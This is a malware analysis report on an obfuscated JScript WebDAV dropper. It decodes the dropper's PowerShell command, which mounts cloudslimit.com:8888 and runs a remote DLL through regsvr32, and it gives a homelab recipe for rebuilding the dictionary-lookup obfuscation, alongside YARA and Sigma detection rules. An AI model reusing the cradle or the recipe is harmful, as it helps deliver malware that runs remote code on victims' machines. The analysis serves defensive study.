unclassified-js-webdav-dropper: a3419c27a — 62-entry natural-language dictionary, cloudslimit.com:8888

Executive Summary

A single-line JScript dropper (16.5 KB) using a 62-entry natural-language dictionary lookup-table to assemble a PowerShell-encoded regsvr32 /s cradle at runtime. WebDAV C2 cloudslimit.com:8888; payload 81431039211394.dll. No sandbox gate, no wordpad decoy. Twenty-second confirmed sibling of the unclassified-js-webdav-dropper family; first observed sample with non-alliterative natural-language compound-phrase keys on the cloudslimit.com infrastructure.

What It Is

How It Works

1. Decoy try/catch. The script opens with try{exercisedreamimpartial();}catch(roadpanoramicriddle){...}. The function exercisedreamimpartial is undefined, so the catch block always executes. ^[sample a3419c27/strings.txt:1]

2. Dictionary construction. Inside the catch, a 62-entry associative array saltwhiteclean maps natural-language compound-phrase keys to single ASCII characters. Examples: saltwhiteclean['bashfulyellowe']='t', saltwhiteclean['sheeptoothbrushring']='h', saltwhiteclean['moanyokeaftermath']='E'. ^[sample a3419c27/strings.txt:1]

3. Global object access. A nested try{shaveglisteningfunctional();}catch(volcanocamerarecondite){...} wraps the actual payload assembly, again forcing catch-path execution. Function('return this')() accesses the global WScript object without hardcoding its name. ^[sample a3419c27/strings.txt:1]

4. PowerShell cradle assembly. The dictionary lookups concatenate into:

   WScript.CreateObject('WScript.Shell').run('powershell -EncodedCommand <base64>')
   

   The Base64 string decodes to UTF-16 LE PowerShell:

   net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\81431039211394.dll
   

   ^[sample a3419c27/strings.txt:1]

5. No anti-analysis. No debugger checks, no VM detection, no time-bombs, no connectivity checks, no wordpad decoy, no sandbox gate. Static-only; JS files are not detonated by CAPE. ^[sample a3419c27/dynamic-analysis.md]

Decoded Behavior

No Ghidra analysis applicable — source is JScript, not a PE binary. The full decoded execution chain is:

wscript.exe → 2008329726110287487.js
  → Function('return this')()  [gets WScript global]
    → WScript.CreateObject('WScript.Shell')
      → .run('powershell -EncodedCommand ...')
        → powershell.exe
          → net use \\cloudslimit.com@8888\davwwwroot\
          → regsvr32 /s \\cloudslimit.com@8888\davwwwroot\81431039211394.dll

C2 Infrastructure

The cloudslimit.com:8888 infrastructure is shared with siblings fb353965 (split-domain variant, 44092138622199.dll) and df42ecf8 (single-domain, noise-key dictionary, 20628311887910.dll). ^[/intel/analyses/fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498.html] ^[/intel/analyses/df42ecf860b51e0fe4fd681f38b8eb69d27ea9a19a355af652ccc9661a76da87.html]

Interesting Tidbits

• Key-naming style is new within the family. Prior cloudslimit.com siblings (fb353965, df42ecf8) used random English word pairs or noise strings. This sample uses natural-language compound phrases (bashfulyellowe, sheeptoothbrushring, therapeuticcreaturewait) — three concatenated English words, lowercase, no separators, non-alliterative. This is a softer naming style than the aggressive noise keys in df42ecf8 and may evade heuristic detectors tuned for random-character clusters. ^[sample a3419c27/strings.txt:1]

• Nested try/catch decoys. Two levels of try{undefinedFunction();}catch{...} — the outer exercisedreamimpartial / roadpanoramicriddle and inner shaveglisteningfunctional / volcanocamerarecondite. Both function names are undefined, guaranteeing catch-path execution. This is consistent with the cc90d6c/ccb2d007 alliterative-key siblings but adds a second layer not seen in the df42ecf8 noise-key variant. ^[sample a3419c27/strings.txt:1]

• Single-domain C2. Unlike fb353965, which split mount (cloudslimit.com:8888) and fetch (cloudskimit.com:8888) across two domains, this sample uses cloudslimit.com for both net use and payload fetch. Simpler, fewer DNS lookups, lower chance of resolution failure. ^[sample a3419c27/strings.txt:1]

• No decoy application. Previous batch-variant siblings launch wordpad or change console color (color f0) as a decoy. This JS variant has no decoy — execution is silent. ^[sample a3419c27/strings.txt:1]

How To Mess With It (Homelab Replication)

1. Reproduce the obfuscation engine.

   • Pick 62 natural-language compound phrases (e.g., saltwhiteclean, bashfulyellowe).
   • Map each to a single ASCII character.
   • Build a JS try/catch block with an undefined function name in the try.
   • Use Function('return this')() to get WScript, then chain .CreateObject('WScript.Shell').run(...).
   • Encode your PowerShell payload as UTF-16 LE + Base64.
   • Assemble the Base64 string via dictionary lookups in the .run() argument.

2. Test evasion.

   • Scan with static string matchers (YARA, Sigma) — the obfuscation defeats naive pattern matching.
   • Verify behavioral detection catches wscript.exe → powershell.exe → regsvr32.exe regardless of obfuscation.

3. What you'll learn. How dictionary-lookup obfuscation trades code size (16.5 KB for a 2-line command) for static stealth, and why behavioral detection on the process chain is the only reliable countermeasure.

Deployable Signatures

YARA Rule

rule JS_WebDAV_Dropper_Dictionary_Lookup {
    meta:
        description = "JScript WebDAV dropper with dictionary lookup-table obfuscation"
        author = "PacketPursuit"
        date = "2026-06-26"
        reference = "raw/analyses/a3419c27a814123e4576d29186ab985b2c28ef33f3153de6b81eb17b01a09990"
    strings:
        $a0 = "try{" ascii wide
        $a1 = "catch(" ascii wide
        $a2 = "Function('" ascii wide
        $a3 = "return this" ascii wide
        $a4 = "WScript.Shell" ascii wide
        $a5 = "-EncodedCommand" ascii wide
        $b1 = "saltwhiteclean" ascii wide
        $c1 = "cloudslimit.com" ascii wide
        $c2 = "cloudskimit.com" ascii wide
    condition:
        filesize < 25KB and
        $a0 and $a1 and $a2 and $a3 and
        ($a4 or $a5) and
        ($b1 or #a0 >= 2)
}

Sigma Rule

title: WebDAV DLL Registration via PowerShell Encoded Command
status: experimental
description: Detects PowerShell spawning regsvr32 to load a DLL from a WebDAV UNC path
logsource:
    category: process_creation
    product: windows
detection:
    selection_powershell:
        - Image|endswith: '\powershell.exe'
        - CommandLine|contains: '-EncodedCommand'
    selection_regsvr32:
        - CommandLine|contains: 'regsvr32 /s'
        - CommandLine|contains: '\\@8888\DavWWWRoot'
    condition: selection_powershell and selection_regsvr32
falsepositives:
    - Unknown
level: high

IOC List

Behavioral Fingerprint

This JScript file opens with a try/catch block whose try function is undefined, forcing catch-path execution. Inside the catch, a 62-entry dictionary maps natural-language compound-phrase keys to single ASCII characters. Function('return this')() accesses the WSH global object, then WScript.CreateObject('WScript.Shell').run() spawns powershell.exe -EncodedCommand <base64>. The decoded PowerShell performs net use \\<domain>@8888\davwwwroot\ followed by regsvr32 /s against a .dll payload on the same WebDAV share. No sandbox gates, no decoy applications, no persistence mechanisms. Static-only analysis; no PE binary present.

Detection Signatures

References

• unclassified-js-webdav-dropper — Entity page for the family (22 confirmed siblings)
• js-dictionary-char-lookup-obfuscation — Technique page for dictionary-lookup obfuscation
• webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain
• fb353965 sibling analysis — split-domain cloudslimit.com/cloudskimit.com variant ^[/intel/analyses/fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498.html]
• df42ecf8 sibling analysis — noise-key dictionary variant on cloudslimit.com ^[/intel/analyses/df42ecf860b51e0fe4fd681f38b8eb69d27ea9a19a355af652ccc9661a76da87.html]

Provenance

Analysis derived from:

• file.txt — file(1) identification
• strings.txt — raw source text (single-line JScript)
• triage.json — triage pipeline metadata
• metadata.json — artifact metadata (filename, size, source)
• dynamic-analysis.md — CAPE skip notice (JS not a supported binary class)
• Manual deobfuscation via Python regex + Base64 decode (UTF-16 LE)
• floss.txt — error (floss does not run on JS)
• capa.txt — error (capa does not run on JS)

Tools: file 5.44, Python 3.11, radare2 (rabin2 error — not a binary)